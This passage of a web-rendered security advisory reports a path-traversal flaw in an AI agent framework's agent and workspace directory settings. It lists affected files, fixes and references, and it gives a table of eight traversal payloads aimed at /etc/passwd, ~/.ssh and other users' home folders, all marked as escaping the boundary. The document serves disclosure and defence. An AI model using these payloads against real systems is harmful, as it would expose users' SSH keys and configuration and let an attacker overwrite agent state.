2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8088bf04f621df53d8b1" data-id="3230f0c5b87c8088bf04f621df53d8b1"><span><div id="3230f0c5b87c8088bf04f621df53d8b1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8088bf04f621df53d8b1" title="Scenario A: State File Poisoning"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario A: State File Poisoning</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8093a8c1c3ddc79f0305" data-id="3230f0c5b87c8093a8c1c3ddc79f0305"><span><div id="3230f0c5b87c8093a8c1c3ddc79f0305" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8093a8c1c3ddc79f0305" title="Scenario B: SSH Key Harvesting"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario B: SSH Key Harvesting</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c806c828bc5ede4692f12" data-id="3230f0c5b87c806c828bc5ede4692f12"><span><div id="3230f0c5b87c806c828bc5ede4692f12" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c806c828bc5ede4692f12" title="Scenario C: Multi-Tenant Breach"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario C: Multi-Tenant Breach</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802ca482cfdd19120740" data-id="3230f0c5b87c802ca482cfdd19120740"><span><div id="3230f0c5b87c802ca482cfdd19120740" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802ca482cfdd19120740" title="Affected Files"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Files</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c80d7a8fecd26a238301d"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c80e381f9ff03edccfa37"><td class="" style="width:120px"><div class="notion-simple-table-cell">File</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Issue</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Line</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8004b355e075c9d2e1fd"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">src/agents/agent-scope.ts</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">resolveAgentDir()</code> lacks boundary check</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">330-338</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80849c9cf49477f7c9a8"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">src/agents/agent-scope.ts</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">resolveAgentWorkspaceDir()</code> lacks boundary check</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">256-266</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c809ca741ecb1e0a0a0bf"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">src/utils.ts</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">resolveUserPath()</code> performs <code class="notion-inline-code">path.resolve()</code> without validation</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">285-302</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8092921bc15c9cf36a97"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">src/config/zod-schema.agent-runtime.ts</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Schema accepts any string for <code class="notion-inline-code">agentDir</code>/<code class="notion-inline-code">workspace</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">720-721</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808f879becb1fcbfd4bb" data-id="3230f0c5b87c808f879becb1fcbfd4bb"><span><div id="3230f0c5b87c808f879becb1fcbfd4bb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808f879becb1fcbfd4bb" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a8af9ccf6542198957" data-id="3230f0c5b87c80a8af9ccf6542198957"><span><div id="3230f0c5b87c80a8af9ccf6542198957" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a8af9ccf6542198957" title="Immediate Fix"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Immediate Fix</span></span></h4><div class="notion-text notion-block-3230f0c5b87c807ca530d8a24b60a1cc">Add boundary validation to <code class="notion-inline-code">resolveAgentDir()</code> and <code class="notion-inline-code">resolveAgentWorkspaceDir()</code>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80eba552c57f1469a1a1" data-id="3230f0c5b87c80eba552c57f1469a1a1"><span><div id="3230f0c5b87c80eba552c57f1469a1a1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80eba552c57f1469a1a1" title="Schema-Level Validation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Schema-Level Validation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e5917ff01121154044">Add path constraints to Zod schema:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80068d3ecab5dbb2b720" data-id="3230f0c5b87c80068d3ecab5dbb2b720"><span><div id="3230f0c5b87c80068d3ecab5dbb2b720" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80068d3ecab5dbb2b720" title="Defense-in-Depth"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Defense-in-Depth</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8005920ddd9caf0cb261" style="list-style-type:decimal"><li><b>Strip null bytes</b>: Already done via <code class="notion-inline-code">stripNullBytes()</code> but insufficient</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c806c84e4c6af7305dc30" style="list-style-type:decimal"><li><b>Normalize before check</b>: Use <code class="notion-inline-code">path.normalize()</code> before <code class="notion-inline-code">isPathInside()</code></li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80fb8fceeb811be970dd" style="list-style-type:decimal"><li><b>Audit existing configs</b>: Check for traversal patterns in deployed configs</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80d1b34dfcf711655e24" style="list-style-type:decimal"><li><b>Logging</b>: Log all <code class="notion-inline-code">agentDir</code>/<code class="notion-inline-code">workspace</code> overrides with actor information</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d8bb32df6b5d1d46de" data-id="3230f0c5b87c80d8bb32df6b5d1d46de"><span><div id="3230f0c5b87c80d8bb32df6b5d1d46de" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d8bb32df6b5d1d46de" title="Detection"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Detection</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d1a647e283a707031f" data-id="3230f0c5b87c80d1a647e283a707031f"><span><div id="3230f0c5b87c80d1a647e283a707031f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d1a647e283a707031f" title="Configuration Audit"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Configuration Audit</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b78cddc2e2820b13e8" data-id="3230f0c5b87c80b78cddc2e2820b13e8"><span><div id="3230f0c5b87c80b78cddc2e2820b13e8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b78cddc2e2820b13e8" title="Runtime Monitoring"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Runtime Monitoring</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800f954dd0e3ee5eeee9" data-id="3230f0c5b87c800f954dd0e3ee5eeee9"><span><div id="3230f0c5b87c800f954dd0e3ee5eeee9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800f954dd0e3ee5eeee9" title="Log Analysis"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Log Analysis</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80698f14d6056163ac4a" data-id="3230f0c5b87c80698f14d6056163ac4a"><span><div id="3230f0c5b87c80698f14d6056163ac4a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80698f14d6056163ac4a" title="Proof of Exploitability"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Exploitability</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80aba844f9e1d53ab4a9" data-id="3230f0c5b87c80aba844f9e1d53ab4a9"><span><div id="3230f0c5b87c80aba844f9e1d53ab4a9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80aba844f9e1d53ab4a9" title="8/8 Payloads Escape Boundary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">8/8 Payloads Escape Boundary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80f2bd9bc18b6f94c23e">Tested payloads (all successful):</div><table class="notion-simple-table notion-block-3230f0c5b87c808b90ccd974468fb47b"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c8055ae09e2e0cd7e256c"><td class="" style="width:120px"><div class="notion-simple-table-cell">Payload</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Resolved Path (Linux)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Escaped</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8084a635f11092698425"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">../../etc</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/home/etc</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✅ YES</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c800aa75cda230dc2c211"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/tmp/evil-agent</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/tmp/evil-agent</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✅ YES</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c803baec6f3e64bb31178"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">~/.ssh</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/home/user/.ssh</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✅ YES</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80049ea7ce8596e70a67"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">../../../var/log</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/var/log</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✅ YES</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c801ea236c1edf1454669"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">../config</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/home/user/.openclaw/config</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✅ YES</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80058f6affe421aef13b"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">C:\Users\Public</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">C:\Users\Public</code> (Windows)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✅ YES</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8050a3c2ee187fc9108c"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">../../other-user</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/home/other-user</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✅ YES</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80ed8c7afba6054eb1d6"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">../../../../../../../etc/passwd</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/etc/passwd</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✅ YES</div></td></tr></tbody></table><div class="notion-text notion-block-3230f0c5b87c80a69470e08c154d63ce"><b>Verification</b>: Live file write test successfully created <code class="notion-inline-code">auth-profiles.json</code> at traversed path.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8022b6bfea9773b83f30" data-id="3230f0c5b87c8022b6bfea9773b83f30"><span><div id="3230f0c5b87c8022b6bfea9773b83f30" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8022b6bfea9773b83f30" title="Business Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Business Impact</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c80e3a681efca1c0650fe"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c8078847ff56653c2c6d9"><td class="" style="width:120px"><div class="notion-simple-table-cell">Impact Category</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Severity</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Details</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c808cbf43fd096ad3df6b"><td class="" style="width:120px"><div class="notion-simple-table-cell">Confidentiality</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Read access to arbitrary files (SSH keys, config files)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c804ab505dbbd2b6d6265"><td class="" style="width:120px"><div class="notion-simple-table-cell">Integrity</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Write access to arbitrary paths (state file poisoning)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8054b6cde6e833780f49"><td class="" style="width:120px"><div class="notion-simple-table-cell">Availability</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Low</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">File overwrites could cause service disruption</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8068ab10da45e4da99fe"><td class="" style="width:120px"><div class="notion-simple-table-cell">Multi-Tenancy</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Critical</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Cross-organization data access in SaaS deployments</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8040b8a6d558e77afb1b"><td class="" style="width:120px"><div class="notion-simple-table-cell">Compliance</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Violates principle of least privilege and filesystem isolation</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80439898eec469ba5638" data-id="3230f0c5b87c80439898eec469ba5638"><span><div id="3230f0c5b87c80439898eec469ba5638" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80439898eec469ba5638" title="Timeline"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Timeline</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80918be6f74b682e7cd6"><li><b>2026-03-10</b>: Vulnerability discovered during security audit</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8005b62be8be30b50bc2"><li><b>2026-03-10</b>: PoC developed, 8/8 payloads confirmed exploitable</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80349d60c7a8e5879be7"><li><b>2026-03-10</b>: Advisory drafted</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c8835de3c5feecee4b" data-id="3230f0c5b87c80c8835de3c5feecee4b"><span><div id="3230f0c5b87c80c8835de3c5feecee4b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c8835de3c5feecee4b" title="References"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">References</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80d18025c117e1634d64"><li>CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c801c9c43c723fca199cd"><li>CWE-73: External Control of File Name or Path</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8067851edb3ca689697a"><li>OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802aa937daf4dfe6328c" data-id="3230f0c5b87c802aa937daf4dfe6328c"><span><div id="3230f0c5b87c802aa937daf4dfe6328c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802aa937daf4dfe6328c" title="Credit"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Credit</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80cf9a90f7270af7214c">Discovered by: Security Audit Team
